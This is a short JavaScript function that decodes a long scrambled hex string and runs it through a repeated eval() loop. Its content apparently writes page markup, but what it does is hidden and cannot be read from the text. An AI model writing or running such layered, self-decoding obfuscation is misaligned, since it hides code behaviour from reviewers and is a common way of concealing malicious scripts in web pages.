function am(){var i,j,x,y,x=
"x=\"\\\"=x64636f65756d7e6e2477796264782532257c2c6960346c5d62216e26713d2c5e" +
"327c5c523e6c6c396c3e2168606276655d322c53222c4e32617f647540216462716d402564" +
"6377693e6f2c316c5e527e6c7c3c655e327c6c5c3e6c6e396c3021786562366c5d6222617f" +
"64756e24786d6c5c32214e62657f247550337f2c316c3e6f296c5e327c6c5c3e6c6e396c30" +
"21786562366c5d722867716f54677f55646e2f786d645c622c5e3867716024675025644c3f" +
"6f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c50727f6472666c6f696e2f78" +
"6d645c622c4e357f2270507f6472666c6f696c3f6f2e312c3c6f396c5e527e6c6c396c3e31" +
"6c602278656d362c5372656271636e28786d645c622c5e3563716362286450686379502963" +
"647c356f2e312c3c6f396c5e527e6c2c357f3c6c3e6f296c5e327c6c5c3e6c6e396c302178" +
"6562366c5d222c53322f4e757022635275667369756c336f2e317c5c523e657c3c6c5e527e" +
"6c6c396c3e316c602278656d362c5562636e6f6f697d7f55677269636473756e24786d6c5c" +
"32254e636e6f6f697d5025677269636473752c316f3e3f2c6c6e397c5c523e6c6c396c3e21" +
"68606276655d322c736375647d6f7f55677269636473756e24786d6c5c32234e7574736f60" +
"2d675265637479756c336f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c5462" +
"6f616d696e2e786d645c622c4e3f646d69612e6e4061656d502562676379747162647f693e" +
"6f2c316c3e6f296c5e327c6c5c3e6c6e396c3021786562366c5d622f687379646e6e27786d" +
"645c622c5e356772696364702568437f647e69376f2c316c3e6f296c5e327c6c5c3e6c6e39" +
"6c3021786562366c5d62216d69647e65616e6e65636e24786d6c5c32275e65637279656440" +
"216d69647e65616e6e65632c316f3e3f2c6c6e397c5c523e6c6c396c3e2168606276655d32" +
"2c627d656f65646c6e6927686e647c6d2c5e32675265637479256250656f6d646c6569676e" +
"2c316f3e3f2c6c6e397c5c523e6c6c396c3e2168606276655d322c68637f647e69576d6f69" +
"62777169646f6e2e786d645c622c4e3f687379646e60276d4769627471696e6f5025637279" +
"66636c356f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c51626e6f54666e69" +
"616c6c29786e647c6d2c5e3261446e4029666e6c617c60292e2e2e2c316f3e3f2c6c6e397c" +
"5c523e6f2c657e3c2c3c6f396c5e527e6c6c396c3e316c602278656d362c53222c5e326946" +
"6e7f6d6271696466702564507f6963732c316f5e327c6c5c3e657e3c7c5c523e6c6c396c3e" +
"2168606276655d322c616f62757f547363736e24786d6c5c32214e62657f247340535c336f" +
"2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c516262657f54707f646e26786d" +
"645c622c5e3f6072716462656c402f64736d6565647e4029666c63752c316f3e3f2c6c6e39" +
"7c5c523e6c6c396c3e2168606276655d322c616f62757f54726f62777563727e23786d645c" +
"622c4e32617f647550256722624062777f637275337f2c316c3e6f296c5e327c6c5c3e6c6e" +
"396c3021786562366c5d6222617f64757f556752646f756963676e2e786d645c622c4e3261" +
"7f6475502567226440756963676c3e6f2e312c3c6f396c5e527e6c6c396c3e316c60227865" +
"6d362c5d6261677c7165627f5966727375756e23786d645c622c4e32617f647540216d7c61" +
"67627025662d6130702b665279757563337f2c316c3e6f296c5e327c6c5c3e6c6e396c3021" +
"786562366c5d622564666e697969646f637e6e24786d6c5c32275e65602264466569696e64" +
"7f697e6c336f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c54727f6960736f" +
"5366627f6f5572637e69756373756e23786d645c622c5e3f646073692376607f6022724375" +
"69656e737563337f2c316c3e6f296c5e327c6c5c3e6c6e396c3021786562366c5d722f6460" +
"736953766f7f6f527f676261696e6a7471696e6f23786e647c6d2c5e3264507f696373602f" +
"66227f406271676e6a797169646f637e2c316f3e3f2c6c6e397c5c523e6c6c396c3e216860" +
"6276655d322c64707f6963736f5f6652707f657c62696f5365647e796964756e23786d645c" +
"622c5e3f646073692376607f60227052656c6369402e656474796963752c316f3e3f2c6c6e" +
"397c5c523e6f2c657e3c2c3c6f396c5e527e6c6c396c3e316c602278656d362c53222c5e32" +
"7f4470696e6f61602c675265637479256640656471757562337f2c316c5e527e6c7c3c655e" +
"327c6c5c3e6c6e396c3021786562366c5d722c636969646e6f5760736923713d6e24786d6c" +
"5c32284e7f69626a7e6f647c61502c636969646e6027605f6864737f2c316f3e3f2c6c6e39" +
"7c5c523e6c6c396c3e2168606276655d322c63796c646e6957607f6963733d2e22786d645c" +
"622c5e3566727964636c61502c636969646e6027605f6864737f2c316f3e3f2c6c6e397c5c" +
"523e6c6c396c3e2168606276655d322c63796c64637568677f7f5160676f5566696c20786e" +
"647c6d2c5e326057612566406c6079502c63696564637f68377f2c316c3e6f296c5e327c6c" +
"5c3e6c6e396c3021786562366c5d722c63696564696f5e60736923786e647c6d2c5e326359" +
"6c646d2569402e605f6864702f63596c64637568677f2c316f3e3f2c6c6e397c5c523e6c6c" +
"396c3e2168606276655d322c63796c64637568677f7f5c63796070756e22786d645c622c5e" +
"3c6379607075602263596c64637568677f2c316f3e3f2c6c6e397c5c523e6c6c396c3e2168" +
"606276655d322c63796c64637568677f3d2e21786d645c622c4e316d7e61652c63506c6469" +
"7568637f6c376f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c52627574746f" +
"6f5e6073696f5c66796e20786d645c622c4e3572747f642e605068647f2f66406c60792c31" +
"6f3e3f2c6c6e397c5c523e6c6c396c3e2168606276655d322c607f68647f5f60707f757e20" +
"786d645c622c5e386465726d6e69612c605068647f2f60507f6570307f2c316c3e6f296c5e" +
"327c6c5c3e6c6e396c3021786562366c5d6222777168606963736f5166737f546c616f2468" +
"6e647c6d2c5e32774162607968736023664371247c406f6461402f63646c356f2e312c3c6f" +
"396c5e527e6c6c396c3e316c602278656d362c5f627079646f6f5e60707f757f5069666e5f" +
"6c6f696b6e23786e647c6d2c5e3260507f75702069466e7f6d627169646f602e6c4e697b6c" +
"336f2e312c3c6f396c5e527e6c6c396c3e316c602278656d362c516262657f54796f766162" +
"6d63756e24786d6c5c32294e6e696c6e60257641626d63752c316f3e3f2c6c6e397c5c523e" +
"6c6c396c3e2168606276655d322c6371656278636f5e65676e6925686e647c6d2c5e326354" +
"7925635065627163602865476e69656e2c316f3e3f2c6c6e397c5c523e6c6c396c3e216860" +
"6276655d322c65636e7270796474656f5d65616c696f596c6e637b6e24786d6c5c32254e6e" +
"6273797470656024254d4d616c6940296c6e637b2c316f3e3f2c6c6e397c5c523e6c6c396c" +
"3e2168606276655d322c7f6470696e6f6f5566656264616b636f5f6662737d6e24786d6c5c" +
"32264e6564656263612b66407f6d62337f2c316c3e6f296c5e327c6c5c3e6c6e396c302178" +
"6562366c5d72227069647e756f5276696265646e7c6f59607761756e23786d645c622c5e32" +
"7069647e75602276496265646e7c6029605761756c336f2e312c3c6f396c5e527e6c6c396c" +
"3e316c602278656d362c507271637367727f54607f62747f656473656f54666c6f64627523" +
"786e647c6d2c5e32605371737f67627024705f62647365647465402f666c6564727c336f2e" +
"312c3c6f396c5e527e6c2c357f3c6c3e6f296c5e327c6c5c3e6c6e396c3021786562366c5d" +
"222c5332244e7f6e676c616f246c40696b6e337f2c316c5e527e6c7c3c655e327c6c5c3e6c" +
"6e396c3021786562366c5d622f64677c6e6f64616f596c6e637b6f52727f63777563726e24" +
"786d6c5c32224e62777f637275402f64677c6e6f646140296c6e637b2c316f3e3f2c6c6e39" +
"7c5c523e6c6c396c3e2168606276655d322c64677f6e6f6c616f546c6e697b6f536d6c6167" +
"727125686e647c6d2c5e326d4c61677271256540627461696163647f692e6c40696b6e337f" +
"2c316c3e6f296c5e327c6c5c3e7f2c653e3f2c6c6e397c5c523e6c6c396c3e216860627665" +
"5d322c53222c4e3f637e616473602469466e7f6d627169646f6c3e6f2e317c5c523e657c3c" +
"6c5e527e6c6c396c3e316c602278656d362c53626f647e6164737f53756e24786d6c5c3223" +
"4e6f647e6164735023752c316f3e3f2c6c6e397c5c523e6c6c396c3e2168606276655d322c" +
"666565646162636f5b66627f2d686e647c6d2c5e3266456564616263602b66427f3d6f2c31" +
"6c3e6f296c5e327c6c5c3e6c6e396c3021786562366c5d62216d69647c3f696a6e6f666041" +
"6462716d646375696e676e2f635d622c4e3d256d49612c6550337f2c316c3e6f296c5e327c" +
"6c5c3e7f2c653e3f2c6c6e392c357f3c622e39203b\\\"b3=y;;''rof=i(i;0.x<nelhtg+i" +
";)2=+y{nu=cseepa%'(x+'us.tsbi(r)2,};)y\";y='';for(i=0;i<x.length;i+=3){for" +
"(j=Math.min(x.length,i+3);--j>=i;){y+=x.charAt(j);}}y;";
while(x=eval(x));}am();